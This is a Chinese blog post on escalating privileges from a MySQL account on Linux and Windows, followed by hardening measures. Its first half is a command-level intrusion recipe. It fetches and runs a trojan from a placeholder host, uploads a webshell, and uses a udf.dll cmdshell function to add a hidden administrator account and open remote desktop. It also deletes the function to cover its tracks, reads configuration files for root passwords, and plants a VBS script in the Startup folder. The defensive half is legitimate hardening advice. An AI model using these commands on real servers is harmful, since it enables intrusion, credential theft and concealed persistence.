mysql用户提权_MySQL-mysql普通帐号如何提权和防护

本文详细介绍了MySQL用户在Linux和Windows环境下的提权方法,包括利用system函数、webshell以及udf.dll等手段。同时,也提出了相应的防范措施,如加强密码安全性、限制文件访问、禁用特定组件和服务,以及MySQL的安全配置建议。
摘要由CSDN通过智能技术生成

整理了好久,发出来喷喷。

一、提权:

linux下:

1.有 MySQL 的 root 用户可以通过 system 函数提权得到 linux root。比如:

mysql>system wget http://xxxxx.com/muma.exe ;

mysql>system chmod +x muma.exe;

mysql>system ./muma.exe;

以上方法经验证无效。system函数是执行本地的shell命令而已。

2.有webshell的情况直接上传Linx Mysql Door(通过webshell Mysql.php直接安装),实际上也是利用system函数。

windows下:在有 webshell 的情况下可以进行提权,也就是说首先要上传一个 webshell 到服务器(php 网页木马,一般使用 PHPSPY)。之后分为两种情况:

1.有MySQL普通帐号,且有MySQL的插入、删除、创建函数的权限:

1)使用webshell连接MySQL数据库,填入MySQL普通帐号。

2)在webshell提供的SQL执行的地方,导出udf.dll到系统目录。

3)执行以下SQL语句,添加系统管理员账号,开3389远程连接等。

select cmdshell('net user admins 226404553 /add');

select cmdshell('net localgroup administrators admins /add');

select cmdshell('regedit /s d:wwwroot3389.reg')

select cmdshell('c:3389.exe');

drop function cmdshell; 记得删除函数,不留痕迹

2.没有MySQL帐号:

1)使用webshell查看C:boot.ini(确定操作系统版本以便后续入侵)、

C:windowsmy.ini(获得MySQL root账号密码)。若my.ini被删除,使用webshell查看phpinfo.php,获得网站绝对路径,如:D:/wwwroot/xxx/,然后读取php或配置文件查找MySQL root账号密码。还可以下载MySQL的user.myd表,本地搭建MySQL查看表内容。

2)后面的操作就是使用udf.dll提权了。当使用udf.dll提权失败时,还可以通过写vbs到启动项的方法进行提权:

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"") ");

insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user123!@#abcABC /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );

select * from a into outfile "C:Documents and SettingsAll Users「开始」菜单程序启动a.vbs";

二、防范:

1.删除 user.myd 表、phpinfo、information_schemata(防止跨库攻击)。

2.做好上传漏洞的防范工作,见 @请问有什么好的办法避免程序被SQL注入。

3.开启MySQL内部支持的SSL,为了远程连接数据库做协议加密,防止被骇客窃听数据。

4.用户、管理员账号的密码使用新版的MD5和SHA做加密,防止user表下载本地爆破密码。

5.参考 MySQL安全配置文档、apache+php+mysql安全配置全攻略。

windows:

1.限制用户对C盘根目录下的文件访问,防止骇客窥视 C:/boot.ini、C:/windowsmy.ini。

2.禁止 wscript.shell 组件使用。

3.关闭、删除 3389 远程登录服务。

4.删除 udf.dll 和 langouster_udf.dll ,新建 udf.dll 和 langouster_udf.dll 设为只读,权限上限制,也可防止所有 langouster_udf.dll 专用网马。新建批处理文件并运行,如下:

Code:net stop mysql

del %SystemRoot%/system32/udf.dll /A/F/Q

del %SystemRoot%/udf.dll /A/F/Q

del %SystemRoot%/temp/udf.dll /A/F/Q

dir %SystemRoot%/system32/com > %SystemRoot%/system32/udf.dll

dir %SystemRoot%/system32/com > %SystemRoot%/udf.dll

dir %SystemRoot%/system32/com > %SystemRoot%/temp/udf.dll

attrib +R +S +H %SystemRoot%/system32/udf.dll

attrib +R +S +H %SystemRoot%/udf.dll

attrib +R +S +H %SystemRoot%/temp/udf.dll

cscript.exe xcacls.vbs "%SystemRoot%/system32/udf.dll" /D Everyone:M /E

cscript.exe xcacls.vbs "%SystemRoot%/udf.dll" /D Everyone:M /E

cscript.exe xcacls.vbs "%SystemRoot%/temp/udf.dll" /D Everyone:M /E

del %SystemRoot%/system32/langouster_udf.dll /A/F/Q

del %SystemRoot%/langouster_udf.dll /A/F/Q

del %SystemRoot%/temp/langouster_udf.dll /A/F/Q

dir %SystemRoot%/system32/com > %SystemRoot%/system32/langouster_udf.dll

dir %SystemRoot%/system32/com > %SystemRoot%/langouster_udf.dll

dir %SystemRoot%/system32/com > %SystemRoot%/temp/langouster_udf.dll

attrib +R +S +H %SystemRoot%/system32/langouster_udf.dll

attrib +R +S +H %SystemRoot%/langouster_udf.dll

attrib +R +S +H %SystemRoot%/temp/langouster_udf.dll

cscript.exe xcacls.vbs "%SystemRoot%/system32/langouster_udf.dll" /D Everyone:M /E

cscript.exe xcacls.vbs "%SystemRoot%/langouster_udf.dll" /D Everyone:M /E

cscript.exe xcacls.vbs "%SystemRoot%/temp/langouster_udf.dll" /D Everyone:M /E

net start mysql

Linux:

1.使用sudo命令进制system函数执行。

2.若不需要SSH远程登录,彻底删除SSH服务。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值